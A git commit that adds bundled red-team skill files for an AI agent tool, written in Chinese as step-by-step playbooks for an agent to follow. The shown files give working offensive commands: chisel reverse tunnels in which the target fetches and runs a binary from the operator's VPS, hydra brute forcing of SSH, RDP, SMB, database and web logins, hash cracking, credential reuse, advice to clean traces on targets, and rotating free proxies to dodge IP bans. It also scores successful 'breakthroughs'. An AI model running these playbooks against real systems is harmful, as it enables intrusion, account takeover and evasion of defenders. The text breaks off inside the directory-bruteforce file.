feat: 随包技能库 skills/redteam(23 条),知识库随宿主运行时生效

- 从上游镜像 mmparko/dsh-purge 取回 skills/redteam/*.md 共 23 条红队技能
- package.json files 增加 skills,npm 包与 Release 包都会带上
- README 三语目录结构补上 skills/redteam,运行时目录补上 $DSH_HOME/skills
- NOTICE 注明随包技能来源
This commit is contained in:
叫我小杨同学
2026-11-06 00:57:09 +08:00
parent 864cb648b5
commit 0bf608cc10
28 changed files with 2614 additions and 6 deletions
+2
View File
@@ -6,3 +6,5 @@ Maintained by the dsh-purge maintainers team.
This product is licensed under the Apache License, Version 2.0.
Derivative works must retain this NOTICE and attribution.
Bundled skills under skills/redteam/ originate from the dsh-purge upstream project (YuJunZhiXue/dsh-purge), retrieved via the mirror mmparko/dsh-purge.
+2 -2
View File
@@ -433,9 +433,9 @@ Drill を初めて開くときは、通知を読み、カウントダウンを
## レイアウト
`bin/` は CLI、`lib/` はパッチと drill コンソール、`presets/redteam/` はレッドチームプリセット、`client.js` はドックです。スキルライブラリとナレッジベースも同梱されます。
`bin/` は CLI、`lib/` はパッチと drill コンソール、`presets/redteam/` はレッドチームプリセット、`skills/redteam/` は同梱スキル、`client.js` はドックです。
ランタイムファイルは `$DSH_HOME` 以下にあります: `prompt-inject.md`、`rules/`、`redteam/`。`DSH_HOME` が未設定の場合、ランチャー横の `.dsh` が `~/.dsh` より優先されます。Web とデスクトップアプリはそれぞれ独自のホームを使います。
ランタイムファイルは `$DSH_HOME` 以下にあります: `prompt-inject.md`、`rules/`、`skills/`、`redteam/`。`DSH_HOME` が未設定の場合、ランチャー横の `.dsh` が `~/.dsh` より優先されます。Web とデスクトップアプリはそれぞれ独自のホームを使います。
---
+2 -2
View File
@@ -435,9 +435,9 @@ Penetration, attack, or scanning against mainland China, Hong Kong and Macau, ba
## Layout
`bin/` is the CLI, `lib/` is patches and the drill console, `presets/redteam/` is the red-team preset, and `client.js` is the dock. The skill library and knowledge base ship with it.
`bin/` is the CLI, `lib/` is patches and the drill console, `presets/redteam/` is the red-team preset, `skills/redteam/` holds the bundled skills, and `client.js` is the dock.
Runtime files live under `$DSH_HOME`: `prompt-inject.md`, `rules/`, `redteam/`. If `DSH_HOME` is unset, the launcher-adjacent `.dsh` wins over `~/.dsh`. Web and the desktop app each use their own home.
Runtime files live under `$DSH_HOME`: `prompt-inject.md`, `rules/`, `skills/`, `redteam/`. If `DSH_HOME` is unset, the launcher-adjacent `.dsh` wins over `~/.dsh`. Web and the desktop app each use their own home.
---
+2 -2
View File
@@ -443,9 +443,9 @@ dsh-purge --uninstall
## 目录结构
`bin/` 是命令行,`lib/` 是补丁和演练台,`presets/redteam/` 是红队预设,`client.js` 是侧栏。技能库与知识库随包提供。
`bin/` 是命令行,`lib/` 是补丁和演练台,`presets/redteam/` 是红队预设,`skills/redteam/` 是随包技能,`client.js` 是侧栏。
运行时文件在 `$DSH_HOME`:`prompt-inject.md`、`rules/`、`redteam/`。未设 `DSH_HOME` 时,优先用 dsh 安装目录旁边的 `.dsh`,再退回 `~/.dsh`。Web 和桌面端各用自己那一份主目录。
运行时文件在 `$DSH_HOME`:`prompt-inject.md`、`rules/`、`skills/`、`redteam/`。未设 `DSH_HOME` 时,优先用 dsh 安装目录旁边的 `.dsh`,再退回 `~/.dsh`。Web 和桌面端各用自己那一份主目录。
---
+1
View File
@@ -25,6 +25,7 @@
"bin",
"docs",
"presets",
"skills",
"scripts",
"client.js",
"cordis.patch.yml",
+34
View File
@@ -0,0 +1,34 @@
---
name: active-scan
description: 主动端口与服务扫描(nmap/masscan),严格遵守授权范围
whenToUse: 需要确认资产存活与开放端口时
role: recon
enabled: true
---
## 前置检查
1. 确认目标 CIDR 在授权范围内。
2. 确认当前时间窗口允许主动扫描。
## 命令
- 快速存活:`nmap -sn <cidr>`
- 全端口(限速):`nmap -sS -p- --min-rate 1000 -T4 <target> -oX runs/nmap-full.xml`
- 服务版本:`nmap -sV -sC -p <ports> <target> -oX runs/nmap-svc.xml`
## 本地已备好的工具(绝对路径,优先用它们,不要手搓)
| 用途 | 命令 |
| --- | --- |
| 端口扫描 | `nmap` / `masscan` / `~/.dsh/redteam/toolkit/naabu/naabu`(SYN 需 root,否则加 `-scan-type c`) |
| 内网综合扫描 | `~/.dsh/redteam/toolkit/fscan/fscan`(技能 fscan-intranet) |
| 内网测绘/指纹 | `~/.dsh/redteam/toolkit/gogo/gogo`(技能 gogo-intranet) |
| HTTP 探测(ProjectDiscovery) | `~/.local/bin/pd-httpx`(**注意:`/usr/bin/httpx` 是 Python httpx 库的 CLI,不是这个**) |
| 子域/解析 | `~/.dsh/redteam/toolkit/subfinder/subfinder`、`~/.dsh/redteam/toolkit/dnsx/dnsx` |
| POC 扫描 | `nuclei`(模板已在 `~/.local/nuclei-templates`) |
| 目录爆破 | `ffuf`、`~/.dsh/redteam/toolkit/dirsearch/dirsearch` |
| 隧道 | `~/.dsh/redteam/toolkit/suo5/suo5-linux-amd64`、`toolkit/chisel/chisel`、`toolkit/frp/{frpc,frps}` |
| 完整清单 | `~/.dsh/redteam/toolkit/清单.md`、`技能工具清单.md` |
`setup.sh` 不下载 dirsearch。`清单.md` 是说明文件,缺了不代表扫描器没装。Windows 与 ARM 构建也不在安装脚本里。
## 落库要求
provenance = `active`,tool = `nmap`/`masscan`,记录 scan_run。
+16
View File
@@ -0,0 +1,16 @@
---
name: asset-correlation
description: 资产关联:域名↔IP↔C 段↔证书↔服务的图谱化
whenToUse: 信息收集阶段性收口,需要形成资产关系视图时
role: recon
enabled: true
---
## 关联规则
- 域名解析 → `resolves` 边(domain → asset)
- C 段归属 → `contains` 边(segment → asset)
- 端口开放 → `exposes` 边(asset → port)
- 证书 SAN 共享 → `shares_cert` 边
## 落库要求
通过 redteam_asset_link 写入 edge 表;重复关系幂等。
+82
View File
@@ -0,0 +1,82 @@
---
name: browser-automation
description: 无依赖驱动 Chrome/Chromium 抓取 JS 渲染页面、截图、执行 JS、抓接口清单(headless 兜底 + playwright-cli)
whenToUse: 需要渲染 SPA / 取 JS 生成的内容 / 截图留证 / 批量抓页面时(Kimi 扩展不可用时首选)
role: recon
enabled: true
---
# 浏览器自动化(headless Chrome)
本机:`/usr/bin/chromium` 150.0.7871.181,`DISPLAY=:10.0`,Node v22.23.2。
## 一、零依赖:chromium 命令行(最稳)
```bash
CHROME=/usr/bin/chromium
FLAGS="--headless=new --no-sandbox --disable-gpu --disable-dev-shm-usage --virtual-time-budget=8000"
# 1) 抓渲染后的 DOM(SPA 也能拿到内容)
$CHROME $FLAGS --dump-dom "https://target.example.com/" 2>/dev/null > runs/page.html
# 2) 只取纯文本
$CHROME $FLAGS --dump-dom "https://target.example.com/" 2>/dev/null \
| python3 -c "import sys,re;h=sys.stdin.read();print(re.sub(r'<[^>]+>',' ',re.sub(r'(?is)<(script|style).*?</\1>',' ',h)))" | head -200
# 3) 截图留证
$CHROME $FLAGS --window-size=1440,900 --screenshot=runs/shot-$(date +%s).png "https://target.example.com/"
# 4) 带 Cookie 访问(登录态复用:从 Burp/浏览器导出 Cookie 后写入)
$CHROME $FLAGS --user-data-dir=/tmp/rt-profile --dump-dom "https://target.example.com/admin"
# 5) 生成 PDF
$CHROME $FLAGS --print-to-pdf=runs/page.pdf "https://target.example.com/"
```
### 抓前端接口清单(信息收集重点)
```bash
# 用 chromium 跑一段 JS 并输出结果
$CHROME $FLAGS --dump-dom "https://target.example.com/" 2>/dev/null > runs/page.html
python3 - <<'PY'
import re, json, pathlib
html = pathlib.Path('runs/page.html').read_text(errors='ignore')
paths = set(re.findall(r'["\'](/(?:api|rest|v[0-9]|admin|user|order|upload|file)[A-Za-z0-9_\-/{}.:]{0,80})["\']', html))
print('\n'.join(sorted(paths)))
PY
# 再结合 JS 资源逐个下载提取:
grep -oE 'src="[^"]+\.js[^"]*"' runs/page.html | sed 's/src="//;s/"$//' | while read u; do
case "$u" in http*) url="$u";; /*) url="https://target.example.com$u";; *) url="https://target.example.com/$u";; esac
curl -s "$url" | grep -oE '["\'](/(api|rest|v[0-9])[A-Za-z0-9_\-/{}.:]{0,80})["\']' | tr -d '"'"'" >> runs/interfaces.txt
done
sort -u runs/interfaces.txt
```
## 二、playwright-cli(需要交互/等待/多页时)
**本机已装好浏览器**(`~/.cache/ms-playwright/chromium-1243`,一次性 `npx playwright install chromium` 已完成)。注意:**默认走 chrome 通道会报 `Chromium distribution 'chrome' is not found`,必须加 `--browser chromium`**。
```bash
PW="npx --yes @playwright/cli@latest"
$PW -s=recon1 open --browser chromium "https://target.example.com/" # 打开(-s 指定会话名)
$PW -s=recon1 snapshot # 无障碍树 + @e 元素引用
$PW -s=recon1 eval "() => document.title" # 执行 JS
$PW -s=recon1 find "登录" # 在快照里搜文本
$PW -s=recon1 click "@e5" # 点击
$PW -s=recon1 fill "@e7" "admin" # 填表
$PW -s=recon1 screenshot --path runs/pw.png # 截图
$PW -s=recon1 --persistent --profile runs/pw-profile open --browser chromium URL # 复用登录态
$PW -s=recon1 close # 关闭会话
```
登录态复用:`--persistent --profile <dir>`;首次登录后该 profile 保留 Cookie,后续直接用同一 profile 打开即为已登录。
常用子命令:`open / goto / snapshot / find / eval / click / fill / press / upload / screenshot / resize / reload / go-back / close / list`。
## 三、选择建议
| 场景 | 用哪个 |
|---|---|
| 只需页面内容/截图/接口清单 | chromium 命令行(零依赖、最快) |
| 需要点击/填表/等待/多标签 | playwright-cli(`--browser chromium`)|
| 需要复用用户真实登录态 | Kimi WebBridge(技能 `kimi-webbridge`,需扩展) |
## 注意事项
- `--no-sandbox` 仅在本机演练环境使用;不要把该参数带进生产。
- 抓到的 URL/标题写回 `redteam_asset_add`(`url`/`title` 字段),接口清单写 `runs/` 并在攻击链里引用。
- 截图与页面内容可能含敏感数据,只落 `runs/`,不要写进资产库。
+115
View File
@@ -0,0 +1,115 @@
---
name: chisel-tunnel
description: chisel 隧道:HTTP/WebSocket 封装的多路复用隧道,最易穿透出网限制与反向代理
whenToUse: suo5 不适用(非 WebShell 入口)、目标只能出 HTTP、需要端口转发或稳定 SOCKS 时
role: internal
enabled: true
---
# chisel(HTTP 隧道 / 端口转发)
> **先加载 VPS 配置**:本技能里所有 `$REDTEAM_VPS_HOST` / `$VPS_USER` 都来自本机配置,
> 首次由 `bash $DSH_HOME/redteam/setup.sh` 写入 `$DSH_HOME/.env`。每条命令前先 source 一次:
> ```bash
> set -a; . "$DSH_HOME/.env" 2>/dev/null || . "$HOME/.dsh/.env"; set +a
> VPS_USER="${REDTEAM_VPS_USER:-ubuntu}"; VPS="$REDTEAM_VPS_HOST"
> ```
> 没配过就跑一次 `setup.sh`(技能 `redteam-setup`),它同时会验证 SSH 连通性与载荷服务。
`chisel` 把 TCP 流量封进 **HTTP/WebSocket**,因此**最容易穿过只放行 80/443 的出网策略与反向代理**。
它和 suo5 的分工:
| | suo5 | chisel |
| --- | --- | --- |
| 入口前提 | **必须有 WebShell**(HTTP 通道) | **只要有命令执行**(能跑二进制即可) |
| 传输 | HTTP 长连接(伪装成正常请求) | HTTP/WebSocket(upgrade) |
| 强项 | 从 Web 入口进内网,用户可复用 | 从 shell/RCE 入口进内网;端口转发灵活 |
| 噪声 | 低(像普通 Web 请求) | 低-中(WebSocket 特征明显些) |
**选择口径**:有 WebShell → 优先 `suo5-tunnel`;只有命令执行/RCE 或需要精确端口转发 → 用 chisel。
## 本机二进制
| 文件 | 路径 |
| --- | --- |
| chisel(Linux amd64,服务端与客户端同一个二进制) | `$DSH_HOME/redteam/toolkit/chisel/chisel`(v1.12.0) |
已同步到 VPS 载荷目录:`http://$REDTEAM_VPS_HOST:9100/`(目标可 `curl` 直接拉)。
## 一、反向 SOCKS(最常用:目标主动连我们)
```bash
# 1) 我方 VPS 起服务端(tmux 里跑,别让 SSH 断开杀掉)
tmux new -s chisel
$DSH_HOME/redteam/toolkit/chisel/chisel server -p 9443 --reverse --socks5
# --reverse 允许客户端注册反向隧道
# --socks5 开启内置 SOCKS5(客户端连上后该端口即可用)
# 可选加固:--auth user:pass 加认证,避免被扫到白用
# 可选伪装:--backend http://127.0.0.1:80 把 Web 流量转发到本地站点
# 2) 目标侧起客户端(通过已有的 RCE/命令执行点跑;先把二进制拉上去)
curl -s http://$REDTEAM_VPS_HOST:9100/chisel -o /tmp/c && chmod +x /tmp/c
/tmp/c client $REDTEAM_VPS_HOST:9443 R:socks
# R:socks = 反向 SOCKS;连上后 VPS 的 1080 端口即为内网 SOCKS5 入口
# 3) 本机通过 VPS 的 SOCKS 访问内网
proxychains4 -f runs/proxychains-1080.conf curl -s http://10.0.0.5/
# runs/proxychains-1080.conf 里写:socks5 $REDTEAM_VPS_HOST 1080
# ⛔ 不要改系统 /etc/proxychains4.conf,用 -f 指向 runs/ 下的临时配置
```
## 二、反向端口转发(把内网某个端口映射出来)
```bash
# 目标侧:把内网 10.0.0.5:3389 映射到 VPS 的 13389
/tmp/c client $REDTEAM_VPS_HOST:9443 R:13389:10.0.0.5:3389
# 本机:直接连 VPS:13389 即为内网 3389
rdesktop $REDTEAM_VPS_HOST:13389
```
## 三、正向 SOCKS(目标能直连我们、但我们要主动连目标内网)
```bash
# 目标侧起服务端
/tmp/c server -p 9443 --socks5
# 我方起客户端做本地转发
chisel client <target>:9443 1080:socks
# 之后 proxychains 指向 127.0.0.1:1080
```
## 四、多级 / 联动
```bash
# 已有 A 隧道(suo5 → 127.0.0.1:1080),要通过 A 在内网主机 B 上再起 chisel
proxychains4 -f runs/proxychains-1080.conf \
ssh user@10.0.0.6 "curl -s http://$REDTEAM_VPS_HOST:9100/chisel -o /tmp/c && chmod +x /tmp/c && nohup /tmp/c client $REDTEAM_VPS_HOST:9443 R:socks2 &"
# 逐层扩大可达范围,每层都要登记隧道与可达网段
```
## 五、纪律与自保
1. **必须跑在 tmux / nohup 里**:会话断开隧道就没了(`nohup ... &` 或 `tmux`)。
2. **服务端加认证**:公网 VPS 上的 chisel 服务端会被扫端口,加 `--auth user:pass`,用完 `pkill` 关掉。
3. **端口选择**:别用 80/443(可能被 VPS 上别的服务占用),用 9443/8443 等高位端口;
**VPS 安全组要放行**。
4. **目标侧落地要清理痕迹与文件**:`/tmp/c` 用完可删;注意别把二进制放在有明显特征的路径。
5. **不要用自建 VPS 上的代理冒充"突破"**:隧道登记 `entry_kind` 必须说清目标侧那一端(见下)。
## 六、输出与落库(强制)
1. **隧道登记 `redteam_tunnel_add`**,字段必须写全:
- `kind`:`chisel`;
- `listen`:**用户实际能用的监听地址**(如 `$REDTEAM_VPS_HOST:1080` 或 `127.0.0.1:1080`);
- `entry`:目标侧的入口(如 `10.0.0.6 上的 /tmp/c 客户端 → VPS:9443`);
- `reach`:**可达网段**(如 `10.0.0.0/24`,实测出来再填,别猜);
- `entry_kind`:**必须是 `target-outbound`**(目标反弹/目标上跑 chisel 客户端)或
`target-http`(经目标 WebShell)、`target-agent`(经目标已控进程);
⛔ 只在自己 VPS 上开代理填 `self-only`——**会被标"不算突破"**;
- `command`:完整命令原文(服务端 + 客户端两段都要)。
2. **实测连通性**:`curl --socks5-hostname <listen> http://<内网目标>/` 或 `proxychains4 -f ... curl ...`,
通了才算隧道成立;然后 `redteam_session_check` 回写状态。
3. **得分**:隧道可达内网 → `redteam_score_hit`(`boundary`,evidence 写「隧道地址|可达网段|实测访问到的内网目标」);
通过它横向到其它主机 → `server-host`。
4. **交付给用户**:给出可直接粘贴的配置——`socks5://<listen>`(或 `ssh -D` / frp 映射到用户机器的方法),
写清监听地址与端口,并说明该隧道跨越了靶标边界。
5. 每个关键动作 `redteam_chain_add`(`stage_code=boundary-logical`),`tool` 写命令原文、`result` 写回显摘要。
+90
View File
@@ -0,0 +1,90 @@
---
name: cn-proxy-pool
description: 国内免费 HTTP/SOCKS5 代理池:抓取、验活、按需轮换;只用命令级代理参数,绝不改动本机网络与代理配置
whenToUse: 目标有 WAF/封 IP 风险,或需要高频请求(接口爆破、目录扫描、口令喷洒)时
role: vuln-scan
enabled: true
---
# 国内免费 IP 代理池
免费代理不稳定,定位是**降低被封风险**而不是隐藏身份。关键目标优先用自有出口或 suo5 隧道。
## ⛔ 铁规则:不许动本机的网络与代理配置
使用代理**只允许在单条命令上临时指定**,任何情况下都不要修改本机配置。以下操作一律禁止:
| 禁止 | 说明 |
|---|---|
| 设系统代理 | GNOME/KDE 网络设置、`gsettings set org.gnome.system.proxy …`、`networksetup -setwebproxy`、Windows `netsh winhttp set proxy` |
| 写全局环境变量 | 修改 `/etc/environment`、`/etc/profile`、`/etc/profile.d/*`、`~/.bashrc`、`~/.bash_profile`、`~/.profile`、`~/.zshrc` 里的 `http_proxy` / `https_proxy` / `all_proxy` / `no_proxy` |
| 改工具全局配置 | `~/.curlrc`、`~/.wgetrc`、`~/.npmrc`、`/etc/apt/apt.conf.d/*proxy*`、`/etc/pip.conf`、`~/.docker/config.json`、`~/.gitconfig` 的 proxy 项 |
| 改 proxychains 全局配置 | 不修改 `/etc/proxychains4.conf`、`~/.proxychains/proxychains.conf`;确需用时用 `-f` 指向 `runs/` 下的临时配置,用完删除 |
| 动系统网络 | iptables/nftables 规则、路由表、DNS(`/etc/resolv.conf`)、NetworkManager、起停 VPN/tun 设备 |
| 持久化 export | 不在 shell 里 `export http_proxy=…` 让它留在会话里;要传就**内联**在该条命令前 |
**正确姿势**(全部是命令级、一次性的):
```bash
P=$(shuf -n1 runs/live-proxies.txt)
# 方式一:工具自带的代理参数(首选)
curl -s --proxy "http://$P" --max-time 15 -I "https://target.example.com/"
nuclei -u https://target.example.com/ -proxy "http://$P" -rate-limit 20
sqlmap -u "https://target.example.com/item?id=1" --proxy="http://$P" --batch --random-agent
ffuf -u https://target.example.com/api/FUZZ -w wordlist.txt -x "http://$P" -rate 20
# 方式二:只对这条命令内联环境变量(不 export,进程结束即失效)
http_proxy="http://$P" https_proxy="http://$P" curl -s --max-time 15 "https://target.example.com/"
# 方式三:只支持原始 TCP 的工具 → 用 suo5 SOCKS5 隧道(技能 suo5-tunnel),
# 不要为它去改系统代理;proxychains 用临时配置文件:
proxychains4 -f runs/proxychains.tmp.conf -q nmap -sT -Pn -p 80,443 10.0.0.5
```
## 一、抓取(多源合并)
```bash
mkdir -p runs && cd runs
curl -s --max-time 20 "https://www.89ip.cn/tqdl.html?api=1&num=50&port=&address=%E4%B8%AD%E5%9B%BD&isp=" \
| grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}:[0-9]{2,5}' >> raw-proxies.txt
curl -s --max-time 20 "http://www.ip3366.net/free/?stype=1" \
| grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}</td>[[:space:]]*<td>[0-9]{2,5}' \
| sed -E 's#</td>[[:space:]]*<td>#:#' >> raw-proxies.txt
curl -s --max-time 20 "https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/countries/CN/data.txt" \
| grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}:[0-9]{2,5}' >> raw-proxies.txt
sort -u raw-proxies.txt -o raw-proxies.txt && wc -l raw-proxies.txt
```
## 二、验证(并发测活,留下能用的)
```bash
cat > runs/check_proxy.py <<'PY'
import concurrent.futures, sys, urllib.request
TARGET = "http://www.baidu.com" # 仅测连通性,不携带任何敏感数据
def ok(proxy):
try:
op = urllib.request.build_opener(urllib.request.ProxyHandler({"http": "http://" + proxy, "https": "http://" + proxy}))
with op.open(TARGET, timeout=6) as r:
return proxy if r.status == 200 else None
except Exception:
return None
with open(sys.argv[1]) as f:
cands = [l.strip() for l in f if l.strip()]
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as ex:
for res in ex.map(ok, cands):
if res: print(res, flush=True)
PY
python3 runs/check_proxy.py runs/raw-proxies.txt > runs/live-proxies.txt
wc -l runs/live-proxies.txt
```
## 三、轮换与限速
- 每个请求随机取一个代理;失败自动剔除并换下一个。
- 目标侧仍要限速(`-rate-limit` / `--delay`),代理只是换出口 IP,不是加速器。
- 记录每个出口 IP 的成败,同一目标连续 3 次被封就按漏洞检测提示词里的规则**放弃该目标**。
## 四、注意事项
- **不要通过免费代理传输凭据、Cookie、上传的 shell**——免费代理可能记录流量。
- 测活只测连通性,不要用真实业务请求去测。
- 高频爆破前确认目标没有账号锁定策略;触发锁定前主动停手。
- 用完清掉 `runs/` 下的临时配置(如 `proxychains.tmp.conf`),不要在系统里留下任何代理痕迹。
- 仅在授权演练范围内使用。
+155
View File
@@ -0,0 +1,155 @@
---
name: credential-attack
description: 凭据攻击:在线弱口令爆破(hydra)与离线哈希破解(hashcat/john),覆盖 SSH/FTP/RDP/SMB/数据库/Web 后台
whenToUse: 发现登录入口(Web 后台/SSH/FTP/RDP/SMB/MySQL/MSSQL/Redis)需要试口令;或已拿到哈希/密文需要还原明文
role: exploit
enabled: true
---
# 凭据攻击(在线爆破 + 离线破解)
红队里"拿账号权限"最稳的两条路之一(另一条是配置/源码泄露拿到明文)。
**本技能只管把口令试出来**;试出来之后必须用技能 `browser-automation` / `kimi-webbridge`
**在真实浏览器登录一次**才算拿到账号权限(红线:只有凭据不算拿到账号)。
## 本机工具
| 工具 | 路径 | 版本 | 用途 |
| --- | --- | --- | --- |
| **hydra** | `/usr/bin/hydra` | 9.7 | 在线爆破,覆盖 50+ 协议 |
| **hashcat** | `/usr/bin/hashcat` | 7.1.2 | 离线哈希破解(GPU/CPU) |
| **john** | `/usr/sbin/john` | — | 离线破解(自动识别格式,配置简单) |
字典:`/usr/share/wordlists/`(含 `rockyou.txt` 需 gunzip)、`/usr/share/seclists/Passwords/`。
**没有 rockyou 时先解压**:`sudo gunzip /usr/share/wordlists/rockyou.txt.gz`(需授权,没有就换 seclists 里的)。
## 一、在线爆破(hydra)
### 通用语法
```bash
hydra -L users.txt -P pass.txt <protocol>://<target>[:port] [模块参数] -t <并发> -f -o runs/hydra-<target>.txt
```
- `-L` 用户名字典 / `-l` 单个用户名;`-P` 口令字典 / `-p` 单个口令
- `-t` 并发(**默认 16,别超过 16**,多数服务会锁号或封 IP)
- `-f` 命中一个就停(避免把账号打锁)
- `-o` 输出到 `runs/`(报告要靠它复现)
- `-V` 显示每次尝试(调试用,正式跑别开)
### 各协议实例
```bash
# SSH
hydra -L users.txt -P pass.txt ssh://10.0.0.5 -t 4 -f -o runs/hydra-ssh-10.0.0.5.txt
# RDP(注意:并发必须低,Windows 会锁号)
hydra -L users.txt -P pass.txt rdp://10.0.0.6 -t 2 -f -o runs/hydra-rdp-10.0.0.6.txt
# SMB
hydra -L users.txt -P pass.txt smb://10.0.0.7 -t 4 -f
# FTP
hydra -L users.txt -P pass.txt ftp://10.0.0.8 -t 6 -f
# MySQL
hydra -L users.txt -P pass.txt mysql://10.0.0.9 -t 4 -f
# MSSQL
hydra -L users.txt -P pass.txt mssql://10.0.0.10 -t 4 -f
# Web 表单登录(POST)——最常用
hydra -L users.txt -P pass.txt target.example.com http-post-form \
"/admin/login.jsp:username=^USER^&password=^PASS^:F=用户名或密码错误" -t 8 -f -o runs/hydra-web-admin.txt
# Web 表单(带额外头/HTTPS)
hydra -L users.txt -P pass.txt -s 443 -S target.example.com http-post-form \
"/login:user=^USER^&pass=^PASS^:F=invalid:H=Cookie: JSESSIONID=xxx" -t 8 -f
```
### Web 表单爆破的成败判定(关键)
`http-post-form` 第三段格式:`"<路径>:<POST 体>:<失败条件>"`,**失败条件必须写准**,否则全量误报:
- `F=<失败特征串>`:响应里出现该串表示**失败**(推荐,最稳)
- `S=<成功特征串>`:响应里出现该串表示**成功**(响应无统一失败文案时用)
- 先手工发两次请求(错误口令 vs 正确口令各一次,或对比不存在用户)**确认特征串唯一**,再跑爆破。
- 有验证码 / 图形码 / 滑块:先看能不能绕过(固定验证码、验证码不校验、前端校验),绕不过**不要硬爆**(技能 `browser-automation` 可做有限次带验证码尝试),转别的路。
### 字典优先级(省时间的关键)
1. **针对性小字典**(命中率最高):单位名/品牌/域名/年份组合,如 `单位简称@2026`、`Admin@123`、`<域名>2026`;
用 `redteam_asset_query` 里的 title/单位信息现造。
2. **默认口令字典**:产品默认口令(`admin/admin`、`tomcat/tomcat`、`weblogic/weblogic1`、`sa/sa`),
参考 nuclei 模板 `http/default-logins/`(307 个),**先查 `redteam_poc_search`**。
3. **常见弱口令 TOP**:`/usr/share/seclists/Passwords/Common-Credentials/` 下的 10-million / top-100 等。
4. 通用大字典(rockyou)放最后——慢且噪声大。
### 用户名从哪来
- Web 后台:报错信息、JS 里的默认账号、接口返回的 `createBy`、登录页提示、`robots.txt`、员工邮箱前缀;
- 目录爆破命中 `/admin` 时优先试 `admin`、`administrator`、`system`、`test`、`guest`;
- 拿到一个凭据后走**凭据复用**(见下),比爆破快得多。
## 二、离线破解(hashcat / john)
拿到哈希/密文(数据库、配置文件、`/etc/shadow`、Web 应用库)后离线跑,**不产生目标侧流量**,比在线爆破安全得多。
```bash
# 1) 先识别哈希类型
hashcat --identify hashes.txt
# 2) NTLM(Windows)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -O -w 3
# 3) NetNTLMv2(Responder 抓到的)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
# 4) MD5 / SHA1(Web 应用库)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt
# 5) bcrypt(WordPress / PHP)
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
# 6) 加规则(用规则把字典放大 10 倍,性价比最高)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 7) 掩码爆破(已知口令策略,如 8 位数字 + 大写字母)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d?d'
```
```bash
# john:格式识别省事,配置在 ~/.john/john.conf
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
```
**注意**:本机可能没有 GPU,`hashcat` 走 CPU 会慢——优先用规则+小字典,或把哈希存到 `runs/` 后续处理;
**不要为了破解挂几个小时**,破解不出来就用哈希直接打(Pass-the-Hash,见技能 `lateral-movement`)。
## 三、凭据复用(比爆破快得多,优先做)
拿到任何一组凭据后,**先横向试**,不要急着爆下一个:
1. `redteam_credential_list` 看已有凭据(含用户名/口令/来源);
2. 同一口令试:其他同款系统、其他资产的管理端、SSH/RDP/SMB/数据库、VPN/堡垒机/运维平台;
3. 用户名规律(`姓.名`、工号、邮箱前缀)配合已知口令试同系统其它用户;
4. 哈希直接复用:PtH / Pass-the-Key(技能 `lateral-movement`)。
## 四、纪律与边界(必须遵守)
1. **先查库**:`redteam_credential_list` / `redteam_asset_query`——别重复爆同一个入口(`blocked_count>0` 的先看原因)。
2. **锁号风险**:Windows(RDP/SMB)与 OA/域账号**严格限流**:`-t 2`(Windows)、`-t 4`(SSH/FTP)、
字典不超过百条量级;**同一账号连续失败 5 次就停**,换账号或换目标——把账号打锁等于毁掉入口。
3. **同一目标累计被封 >3 次放弃**(`redteam_asset_test` status=abandoned + blocked=true)。
4. **降噪走代理**:Web 表单爆破用技能 `cn-proxy-pool` 换出口 IP;内网目标走 suo5 隧道。
5. **内网优先用 fscan**:内网段落的弱口令普查交给技能 `fscan-intranet`(28 类服务批量爆破,一趟出结果),
hydra 用于 fscan 没覆盖的协议或需要精细控制的单点。
## 五、输出与落库(强制)
1. **每条命中立刻 `redteam_credential_add`**:
- `username`、**明文写 `secret_value`**(面板直接显示,便于随时复用)、`source`(`弱口令`/`默认口令`/`凭据复用`/`泄露`/`离线破解`)、
`tool`(实际命令原文,如 `hydra -L users.txt -P pass.txt ssh://10.0.0.5 -t 4 -f`)、`secret_ref`(证据文件路径如 `runs/hydra-ssh-10.0.0.5.txt`)。
2. **必须实测登录才记分**:Web 后台用 `browser-automation` / `kimi-webbridge` 真实登录一次
(打开登录页 → 填账号口令 → 确认进入后台 → 记页面标题/菜单/当前用户名 → 抓 Cookie 存证据)→
`redteam_access_add`(`method=web-login`)→ `redteam_score_hit`(`web-app` 10 分 / `web-app` 20 分,
`evidence` 写「资产|后台管理员 tomcat/Tomcat@2024」)。
**登不进去就在 `redteam_asset_test` 的 `test` 里记一行卡点**(哈希未破解/需二次认证/限制来源 IP/账号已禁用),不记分。
3. **账号权限按服务封顶**:同一资产同一端口只算一次分,拿到管理员即该服务拿满——不要在同一服务上刷多个账号。
4. 每个关键动作 `redteam_chain_add`:`stage_code=internet`(或 `internal`),
`tool` 写实际命令、`result` 写回显摘要(如 `ssh 10.0.0.5 用 root/Root@123 登录成功,uid=0(root)`)。
5. 哈希文件、破解结果一律放 `runs/`。
+115
View File
@@ -0,0 +1,115 @@
---
name: dir-bruteforce
description: 目录与文件爆破:后台入口、备份文件、配置泄露、源码与版本库暴露(ffuf/feroxbuster/dirsearch/gobuster)
whenToUse: 已确认 Web 存活但指纹无直接 Nday 线索;需要找后台入口、备份、配置、源码、上传点等隐藏路径
role: vuln-scan
enabled: true
---
# 目录与文件爆破(找入口的主力)
**实战里大部分入口不是 CVE 打进去的,是目录爆破扫出来的**:后台 `/admin`、备份 `www.zip`、配置 `.env`、
源码 `.git/`、接口文档 `swagger-ui.html`、上传点、调试页、actuator/druid 监控台。
本技能覆盖本机已就位的四个工具,**不要只用一个**——它们的字典与判定逻辑不同,互补。
## 本机工具
| 工具 | 路径 | 版本 | 特点 |
| --- | --- | --- | --- |
| **feroxbuster** | `/usr/bin/feroxbuster` | 2.13.1 | Rust,递归爆破最强,自动跟随目录层级,**首选** |
| **ffuf** | `/usr/bin/ffuf` | 2.1.0-dev | 最快、最灵活,支持多字典/vhost/参数 fuzz |
